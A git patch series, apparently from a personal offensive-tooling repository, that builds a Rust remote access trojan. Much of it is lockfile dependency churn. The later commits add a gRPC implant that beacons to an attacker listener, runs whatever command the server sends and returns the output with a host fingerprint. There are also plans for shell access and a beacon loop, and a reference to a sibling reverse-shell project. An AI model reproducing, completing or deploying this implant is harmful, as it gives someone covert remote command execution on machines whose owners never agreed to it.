"c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" + +[[package]] +name = "hyper" +version = "0.14.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "043f0e083e9901b6cc658a77d1eb86f4fc650bbb977a4337dd63192826aa85dd" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-timeout" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] + [[package]] name = "indexmap" version = "1.8.0" @@ -111,6 +303,12 @@ dependencies = [ "either", ] +[[package]] +name = "itoa" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35" + [[package]] name = "lazy_static" version = "1.4.0" @@ -147,6 +345,28 @@ dependencies = [ "autocfg", ] +[[package]] +name = "mio" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba272f85fa0b41fc91872be579b3bbe0f56b792aa361a380eb669469f68dafb2" +dependencies = [ + "libc", + "log", + "miow", + "ntapi", + "winapi", +] + +[[package]] +name = "miow" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" +dependencies = [ + "winapi", +] + [[package]] name = "multimap" version = "0.8.3" @@ -166,6 +386,31 @@ dependencies = [ "memoffset", ] +[[package]] +name = "ntapi" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28774a7fd2fbb4f0babd8237ce554b73af68021b5f695a3cebd6c59bac0980f" +dependencies = [ + "winapi", +] + +[[package]] +name = "num_cpus" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "percent-encoding" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e" + [[package]] name = "petgraph" version = "0.6.0" @@ -176,6 +421,44 @@ dependencies = [ "indexmap", ] +[[package]] +name = "pin-project" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58ad3879ad3baf4e44784bc6a718a8698867bb991f8ce24d1bcbe2cfb4c3a75e" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "744b6f092ba29c3650faf274db506afd39944f48420f6c86b17cfe0ee1cb36bb" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e280fbe77cc62c91527259e9442153f4688736748d24660126286329742b4c6c" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "ppv-lite86" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" + [[package]] name = "proc-macro2" version = "1.0.36" @@ -267,6 +550,36 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" +dependencies = [ + "getrandom", +] + [[package]] name = "rco_config" version = "0.2.0" @@ -309,7 +622,9 @@ name = "remote_access_trojan" version = "0.1.0" dependencies = [ "prost", - "prost-build", + "tokio", + "tonic", + "tonic-build", ] [[package]] @@ -321,6 +636,22 @@ dependencies = [ "winapi", ] +[[package]] +name = "slab" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9def91fd1e018fe007022791f865d0ccc9b3a0d5001e01aabb8b40e46000afb5" + +[[package]] +name = "socket2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "syn" version = "1.0.86" @@ -354,6 +685,207 @@ dependencies = [ "winapi", ] +[[package]] +name = "tokio" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af73ac49756f3f7c01172e34a23e5d0216f6c32333757c2c61feb2bbff5a5ee" +dependencies = [ + "bytes", + "libc", + "memchr", + "mio", + "num_cpus", + "pin-project-lite", + "socket2", + "tokio-macros", + "winapi", +] + +[[package]] +name = "tokio-io-timeout" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30b74022ada614a1b4834de765f9bb43877f910cc8ce4be40e89042c9223a8bf" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-macros" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b557f72f448c511a979e2564e55d74e6c4432fc96ff4f6241bc6bded342643b7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-stream" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50145484efff8818b5ccd256697f36863f587da82cf8b409c53adf1e840798e3" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e99e1983e5d376cd8eb4b66604d2e99e79f5bd988c3055891dcd8c9e2604cc0" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "log", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64910e1b9c1901aaf5375561e35b9c057d95ff41a44ede043a03e09279eabaf1" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "log", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tonic" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff08f4649d10a70ffa3522ca559031285d8e421d727ac85c60825761818f5d0a" +dependencies = [ + "async-stream", + "async-trait", + "base64", + "bytes", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-timeout", + "percent-encoding", + "pin-project", + "prost", + "prost-derive", + "tokio", + "tokio-stream", + "tokio-util 0.6.9", + "tower", + "tower-layer", + "tower-service", + "tracing", + "tracing-futures", +] + +[[package]] +name = "tonic-build" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9403f1bafde247186684b230dc6f38b5cd514584e8bec1dd32514be4745fa757" +dependencies = [ + "proc-macro2", + "prost-build", + "quote", + "syn", +] + +[[package]] +name = "tower" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a89fd63ad6adf737582df5db40d286574513c69a11dac5214dc3b5603d6713e" +dependencies = [ + "futures-core", + "futures-util", + "indexmap", + "pin-project", + "pin-project-lite", + "rand", + "slab", + "tokio", + "tokio-util 0.7.0", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "343bc9466d3fe6b0f960ef45960509f84480bf4fd96f92901afe7ff3df9d3a62" + +[[package]] +name = "tower-service" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "360dfd1d6d30e05fda32ace2c8c70e9c0a9da713275777f5a4dbb8a1893930c6" + +[[package]] +name = "tracing" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d8d93354fe2a8e50d5953f5ae2e47a3fc2ef03292e7ea46e3cc38f549525fb9" +dependencies = [ + "cfg-if", + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8276d9a4a3a558d7b7ad5303ad50b53d58264641b82914b7ada36bd762e7a716" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03cfcb51380632a72d3111cb8d3447a8d908e577d31beeac006f836383d29a23" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "tracing-futures" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" +dependencies = [ + "pin-project", + "tracing", +] + +[[package]] +name = "try-lock" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" + [[package]] name = "unicode-segmentation" version = "1.9.0" @@ -366,6 +898,22 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" +[[package]] +name = "want" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" +dependencies = [ + "log", + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.10.2+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" + [[package]] name = "which" version = "4.2.4" diff --git a/remote_access_trojan/Cargo.toml b/remote_access_trojan/Cargo.toml index 52378b8..5451979 100644 --- a/remote_access_trojan/Cargo.toml +++ b/remote_access_trojan/Cargo.toml @@ -9,9 +9,11 @@ rust-version = "1.58" [dependencies] prost = ">=0.9" +tonic = ">=0.6" +tokio = { version = ">=1.17", features = ["rt-multi-thread"] } [build-dependencies] -prost-build = ">=0.9" +tonic-build = ">=0.6" [[bin]] name = "client" diff --git a/remote_access_trojan/build.rs b/remote_access_trojan/build.rs index 97f6020..64d39e3 100644 --- a/remote_access_trojan/build.rs +++ b/remote_access_trojan/build.rs @@ -1,5 +1,8 @@ -extern crate prost_build; - fn main() { - prost_build::compile_protos(&["rat.proto"], &["src/../"]).unwrap(); + let proto_file = "./rat.proto"; + + tonic_build::configure() + .build_server(true) + .compile(&[proto_file], &["."]) + .unwrap(); } \ No newline at end of file diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 850ff7f..84e9d1d 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -1,8 +1,17 @@ syntax = "proto3"; -package rat.items; +package rat; -message Test { +service ServiceTester { + rpc Send (RequestTester) returns (ResponseTester); +} + +message RequestTester { + string words = 1; + string thoughts = 2; +} + +message ResponseTester { string words = 1; string thoughts = 2; } \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 3cd9db5..c25ae55 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -1,17 +1,29 @@ -use prost::Message; +use remote_access_trojan::rat::service_tester_client::ServiceTesterClient; +use remote_access_trojan::rat::{self, RequestTester}; +use tonic::transport::Endpoint; -pub mod rat { - include!(concat!(env!("OUT_DIR"), "/rat.items.rs")); -} - -fn main() { +#[tokio::main] +async fn main() -> Result<(), Box> { println!("implant"); - let mut example = rat::Test::default(); - example.words = "implant words".to_string(); - example.thoughts = "implant thoughts".to_string(); - let mut buf = Vec::new(); - buf.reserve(example.encoded_len()); - example.encode(&mut buf).unwrap(); + + // Does the protobuf structure work? + let example = rat::ResponseTester { + words:String::from("implant words"), + thoughts:String::from("implant thoughts") + }; println!("{example:?}"); - println!("{buf:?}"); + + // Can I send a protobuf from the client to the server? + let addr = Endpoint::from_static("http://127.0.0.1:4444"); + let mut client = ServiceTesterClient::connect(addr).await?; + let request = tonic::Request::new( + RequestTester { + words:String::from("First request"), + thoughts:String::from("This was confusing") + }, + ); + let response = client.send(request).await?.into_inner(); + println!("Response={response:?}"); + + Ok(()) } \ No newline at end of file diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs new file mode 100644 index 0000000..e3b6d29 --- /dev/null +++ b/remote_access_trojan/src/lib.rs @@ -0,0 +1,3 @@ +pub mod rat { + tonic::include_proto!("rat"); +} \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index fde85e3..0c7707c 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,3 +1,44 @@ -fn main() { +use remote_access_trojan::rat::service_tester_server::{ServiceTester, ServiceTesterServer}; +use remote_access_trojan::rat::{self, RequestTester, ResponseTester}; +use tonic::{Request, Response, Status}; +use tonic::transport::Server; + +#[derive(Default)] +pub struct MyServiceTester {} + +#[tonic::async_trait] +impl ServiceTester for MyServiceTester { + async fn send(&self, request: Request) -> Result, Status> { + println!("Request={request:?}"); + Ok(Response::new( + ResponseTester { + words:String::from("First response"), + thoughts:String::from("You did it!") + } + )) + } +} + + +#[tokio::main] +async fn main() -> Result<(), Box> { println!("server"); + + // Does the protobuf structure work? + let example = rat::ResponseTester { + words:String::from("server words"), + thoughts:String::from("server thoughts") + }; + println!("{example:?}"); + + // Can I send a stand up the server? + let addr = "127.0.0.1:4444".parse()?; + + let service_server = MyServiceTester::default(); + Server::builder() + .add_service(ServiceTesterServer::new(service_server)) + .serve(addr) + .await?; + + Ok(()) } \ No newline at end of file From b3272efd6cb0ed4fc3e1117087ab2fd276900ea8 Mon Sep 17 00:00:00 2001 From: koins Date: Mon, 21 Feb 2022 11:56:06 -0800 Subject: [PATCH 05/33] all manual, but beacon --> command --> response flow first take --- remote_access_trojan/rat.proto | 29 +++++++++++++------ remote_access_trojan/src/implant.rs | 37 ++++++++++++++++++------ remote_access_trojan/src/server.rs | 44 ++++++++++++++++++++--------- 3 files changed, 78 insertions(+), 32 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 84e9d1d..17d727f 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -2,16 +2,27 @@ syntax = "proto3"; package rat; -service ServiceTester { - rpc Send (RequestTester) returns (ResponseTester); +service AskForInstructions { + rpc Send (Beacon) returns (CommandRequest); } -message RequestTester { - string words = 1; - string thoughts = 2; +service RecordCommandResult { + rpc Send (CommandResponse) returns (Empty); } -message ResponseTester { - string words = 1; - string thoughts = 2; -} \ No newline at end of file +message Beacon { + int32 last_received = 1; +} + +message CommandRequest { + string command = 1; +} + +message CommandResponse { + string implant_id = 1; + int32 timestamp = 2; + string command = 3; + string result = 4; +} + +message Empty {} \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index c25ae55..dbe4c8c 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -1,5 +1,7 @@ -use remote_access_trojan::rat::service_tester_client::ServiceTesterClient; -use remote_access_trojan::rat::{self, RequestTester}; +use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient; +use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient; +use remote_access_trojan::rat::{self, Beacon, CommandResponse}; +use std::process::Command; use tonic::transport::Endpoint; #[tokio::main] @@ -7,23 +9,40 @@ async fn main() -> Result<(), Box> { println!("implant"); // Does the protobuf structure work? - let example = rat::ResponseTester { - words:String::from("implant words"), - thoughts:String::from("implant thoughts") + let example = rat::Beacon { + last_received: 0 }; println!("{example:?}"); // Can I send a protobuf from the client to the server? let addr = Endpoint::from_static("http://127.0.0.1:4444"); - let mut client = ServiceTesterClient::connect(addr).await?; + let mut client = AskForInstructionsClient::connect(addr).await?; let request = tonic::Request::new( - RequestTester { - words:String::from("First request"), - thoughts:String::from("This was confusing") + Beacon { + last_received: 0 }, ); let response = client.send(request).await?.into_inner(); println!("Response={response:?}"); + let command_received = response.command; + if !command_received.is_empty() { + let command = Command::new(&command_received) + .output() + .unwrap(); + let command_response = String::from_utf8(command.stdout).unwrap(); + println!("{command_response:?}"); + let addr = Endpoint::from_static("http://127.0.0.1:4444"); + let mut client = RecordCommandResultClient::connect(addr).await?; + let result = tonic::Request::new( + CommandResponse { + implant_id:String::from("4f12d"), + timestamp: 100000, + command:String::from(command_received), + result:String::from(command_response) + }, + ); + let response = client.send(result).await?.into_inner(); + } Ok(()) } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 0c7707c..85f9cf5 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,20 +1,35 @@ -use remote_access_trojan::rat::service_tester_server::{ServiceTester, ServiceTesterServer}; -use remote_access_trojan::rat::{self, RequestTester, ResponseTester}; +use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; +use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; +use remote_access_trojan::rat::{self, Beacon, Empty, CommandRequest, CommandResponse}; use tonic::{Request, Response, Status}; use tonic::transport::Server; #[derive(Default)] -pub struct MyServiceTester {} +pub struct MyAskForInstructions {} + +#[derive(Default)] +pub struct MyRecordCommandResult {} #[tonic::async_trait] -impl ServiceTester for MyServiceTester { - async fn send(&self, request: Request) -> Result, Status> { +impl AskForInstructions for MyAskForInstructions { + async fn send(&self, request: Request) -> Result, Status> { + println!("Request={request:?}"); + let fake_commands: Vec<&str> = vec!["hostname", "whoami", "ls"]; + let number: usize = request.into_inner().last_received.try_into().unwrap(); + Ok(Response::new( + CommandRequest { + command:String::from(fake_commands[number]), + } + )) + } +} + +#[tonic::async_trait] +impl RecordCommandResult for MyRecordCommandResult { + async fn send(&self, request: Request) -> Result, Status> { println!("Request={request:?}"); Ok(Response::new( - ResponseTester { - words:String::from("First response"), - thoughts:String::from("You did it!") - } + Empty {} )) } } @@ -25,18 +40,19 @@ async fn main() -> Result<(), Box> { println!("server"); // Does the protobuf structure work? - let example = rat::ResponseTester { - words:String::from("server words"), - thoughts:String::from("server thoughts") + let example = rat::CommandRequest { + command:String::from("server words"), }; println!("{example:?}"); // Can I send a stand up the server? let addr = "127.0.0.1:4444".parse()?; - let service_server = MyServiceTester::default(); + let instructions_server = MyAskForInstructions::default(); + let recording_server = MyRecordCommandResult::default(); Server::builder() - .add_service(ServiceTesterServer::new(service_server)) + .add_service(AskForInstructionsServer::new(instructions_server)) + .add_service(RecordCommandResultServer::new(recording_server)) .serve(addr) .await?; From 2ba3eef7dfcf7fc4165fb4748e6a5d0eefa627f1 Mon Sep 17 00:00:00 2001 From: koins Date: Mon, 21 Feb 2022 18:09:36 -0800 Subject: [PATCH 06/33] using a real timestamp and a real implant ID now. also using values from config --- Cargo.lock | 1 + rco_config/src/lib.rs | 2 +- remote_access_trojan/Cargo.toml | 1 + remote_access_trojan/rat.proto | 2 +- remote_access_trojan/src/implant.rs | 62 +++++++++++++++++++++-------- remote_access_trojan/src/server.rs | 26 +++++------- 6 files changed, 59 insertions(+), 35 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 3d80a5c..1871ac6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -622,6 +622,7 @@ name = "remote_access_trojan" version = "0.1.0" dependencies = [ "prost", + "rco_config", "tokio", "tonic", "tonic-build", diff --git a/rco_config/src/lib.rs b/rco_config/src/lib.rs index b53af2d..292f6e3 100644 --- a/rco_config/src/lib.rs +++ b/rco_config/src/lib.rs @@ -1,5 +1,5 @@ /* - For tcp_reverse_shell + For tcp_reverse_shell OR remote_access_trojan */ // IP address of the attacking machine diff --git a/remote_access_trojan/Cargo.toml b/remote_access_trojan/Cargo.toml index 5451979..3ef7212 100644 --- a/remote_access_trojan/Cargo.toml +++ b/remote_access_trojan/Cargo.toml @@ -8,6 +8,7 @@ rust-version = "1.58" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +rco_config = {path = "../rco_config"} prost = ">=0.9" tonic = ">=0.6" tokio = { version = ">=1.17", features = ["rt-multi-thread"] } diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index 17d727f..1072f95 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -20,7 +20,7 @@ message CommandRequest { message CommandResponse { string implant_id = 1; - int32 timestamp = 2; + uint64 timestamp = 2; string command = 3; string result = 4; } diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index dbe4c8c..170a636 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -1,47 +1,75 @@ use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient; use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient; -use remote_access_trojan::rat::{self, Beacon, CommandResponse}; +use remote_access_trojan::rat::{Beacon, CommandResponse}; +use std::collections::hash_map::DefaultHasher; +use std::hash::{Hash, Hasher}; use std::process::Command; +use std::time::SystemTime; use tonic::transport::Endpoint; +fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} + +fn generate_implant_id() -> String { + let hostname = Command::new("hostname") + .output() + .unwrap(); + let hostname = String::from_utf8(hostname.stdout).unwrap(); + let hostname = hostname.trim(); + + let ip_address = Command::new("hostname") + .arg("-I") + .output() + .unwrap(); + let ip_address = String::from_utf8(ip_address.stdout).unwrap(); + let ip_address = ip_address.trim(); + + let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); + format!("{hashed_value:x}") +} + #[tokio::main] async fn main() -> Result<(), Box> { println!("implant"); - // Does the protobuf structure work? - let example = rat::Beacon { - last_received: 0 - }; - println!("{example:?}"); + let implant_id = generate_implant_id(); // Can I send a protobuf from the client to the server? - let addr = Endpoint::from_static("http://127.0.0.1:4444"); - let mut client = AskForInstructionsClient::connect(addr).await?; + let ip_address = rco_config::LISTENER_IP; + let port = rco_config::LISTENER_PORT; + let socket = format!("http://{ip_address}:{port}"); + let channel = Endpoint::from_shared(socket)? + .connect() + .await?; + let mut ask_client = AskForInstructionsClient::new(channel.clone()); + let mut response_client = RecordCommandResultClient::new(channel); let request = tonic::Request::new( Beacon { last_received: 0 }, ); - let response = client.send(request).await?.into_inner(); + let response = ask_client.send(request).await?.into_inner(); println!("Response={response:?}"); + let command_received = response.command; if !command_received.is_empty() { let command = Command::new(&command_received) .output() .unwrap(); let command_response = String::from_utf8(command.stdout).unwrap(); - println!("{command_response:?}"); - let addr = Endpoint::from_static("http://127.0.0.1:4444"); - let mut client = RecordCommandResultClient::connect(addr).await?; let result = tonic::Request::new( CommandResponse { - implant_id:String::from("4f12d"), - timestamp: 100000, - command:String::from(command_received), - result:String::from(command_response) + implant_id: implant_id, + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: command_received, + result: command_response }, ); - let response = client.send(result).await?.into_inner(); + let response = response_client.send(result).await?.into_inner(); + println!("{response:?}"); } Ok(()) diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 85f9cf5..1ed51ba 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,15 +1,12 @@ use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; -use remote_access_trojan::rat::{self, Beacon, Empty, CommandRequest, CommandResponse}; +use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; use tonic::{Request, Response, Status}; use tonic::transport::Server; #[derive(Default)] pub struct MyAskForInstructions {} -#[derive(Default)] -pub struct MyRecordCommandResult {} - #[tonic::async_trait] impl AskForInstructions for MyAskForInstructions { async fn send(&self, request: Request) -> Result, Status> { @@ -24,6 +21,9 @@ impl AskForInstructions for MyAskForInstructions { } } +#[derive(Default)] +pub struct MyRecordCommandResult {} + #[tonic::async_trait] impl RecordCommandResult for MyRecordCommandResult { async fn send(&self, request: Request) -> Result, Status> { @@ -39,21 +39,15 @@ impl RecordCommandResult for MyRecordCommandResult { async fn main() -> Result<(), Box> { println!("server"); - // Does the protobuf structure work? - let example = rat::CommandRequest { - command:String::from("server words"), - }; - println!("{example:?}"); - // Can I send a stand up the server? - let addr = "127.0.0.1:4444".parse()?; + let ip_address = rco_config::LISTENER_IP; + let port = rco_config::LISTENER_PORT; + let socket = format!("{ip_address}:{port}").parse()?; - let instructions_server = MyAskForInstructions::default(); - let recording_server = MyRecordCommandResult::default(); Server::builder() - .add_service(AskForInstructionsServer::new(instructions_server)) - .add_service(RecordCommandResultServer::new(recording_server)) - .serve(addr) + .add_service(AskForInstructionsServer::new(MyAskForInstructions::default())) + .add_service(RecordCommandResultServer::new(MyRecordCommandResult::default())) + .serve(socket) .await?; Ok(()) From efb6d6278c5094c2c527f46ff92ffb00e342ff8b Mon Sep 17 00:00:00 2001 From: koins Date: Mon, 21 Feb 2022 20:38:04 -0800 Subject: [PATCH 07/33] notes so i dont forget --- remote_access_trojan/src/implant.rs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 170a636..93f7d13 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -7,6 +7,21 @@ use std::process::Command; use std::time::SystemTime; use tonic::transport::Endpoint; +// Some TODOs in no meaningful order +/* +Define what a command is, and get some cross platform definitions in place + - hostname + - whoami + - whats my ip + - whats my os + - help + - drop into a shell +Make the beacons run in a loop +Figure out the implementation of getting commands newer than last run +Log actions on the server +Have a real client do things +*/ + fn calculate_hash(t: &T) -> u64 { let mut s = DefaultHasher::new(); t.hash(&mut s); @@ -20,6 +35,7 @@ fn generate_implant_id() -> String { let hostname = String::from_utf8(hostname.stdout).unwrap(); let hostname = hostname.trim(); + // This will work on Linux. Need to do "ipconfig | findstr IPv4" or something similar on Windows let ip_address = Command::new("hostname") .arg("-I") .output() From fb3678b5bde4b51b2eda29041053a42a54b879f5 Mon Sep 17 00:00:00 2001 From: koins Date: Tue, 22 Feb 2022 21:50:23 -0800 Subject: [PATCH 08/33] getting some basic commands functioning for both target OSes. need to formalize how commands work in general though --- remote_access_trojan/src/implant.rs | 81 +++++++++++++++++++++++++---- 1 file changed, 71 insertions(+), 10 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 93f7d13..9a820fb 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -10,11 +10,8 @@ use tonic::transport::Endpoint; // Some TODOs in no meaningful order /* Define what a command is, and get some cross platform definitions in place - - hostname - - whoami - - whats my ip - - whats my os - help + - change beacon cadence - drop into a shell Make the beacons run in a loop Figure out the implementation of getting commands newer than last run @@ -22,6 +19,51 @@ Log actions on the server Have a real client do things */ +#[cfg(target_os = "linux")] +fn get_ip_address() -> String { + let ip_address = Command::new("hostname") + .arg("-I") + .output() + .unwrap(); + let ip_address = String::from_utf8(ip_address.stdout).unwrap(); + let ip_address = ip_address.trim(); + ip_address.to_string() +} + +#[cfg(windows)] +fn get_ip_address() -> String { + let ip_address = Command::new("ipconfig") + .arg("|") + .arg("findstr") + .arg("IPv4") + .output() + .unwrap(); + let ip_address = String::from_utf8(ip_address.stdout).unwrap(); + let ip_address: Vec<&str> = ip_address.split(":").collect(); + let ip_address = ip_address[1].trim(); + ip_address.to_string() +} + +#[cfg(target_os = "linux")] +fn get_directory_listing() -> String { + let directory = Command::new("ls") + .output() + .unwrap(); + let directory = String::from_utf8(directory.stdout).unwrap(); + let directory = directory.trim(); + directory.to_string() +} + +#[cfg(windows)] +fn get_directory_listing() -> String { + let directory = Command::new("dir") + .output() + .unwrap(); + let directory = String::from_utf8(directory.stdout).unwrap(); + let directory = directory.trim(); + directory.to_string() +} + fn calculate_hash(t: &T) -> u64 { let mut s = DefaultHasher::new(); t.hash(&mut s); @@ -36,17 +78,36 @@ fn generate_implant_id() -> String { let hostname = hostname.trim(); // This will work on Linux. Need to do "ipconfig | findstr IPv4" or something similar on Windows - let ip_address = Command::new("hostname") - .arg("-I") - .output() - .unwrap(); - let ip_address = String::from_utf8(ip_address.stdout).unwrap(); - let ip_address = ip_address.trim(); + let ip_address = get_ip_address(); let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); format!("{hashed_value:x}") } 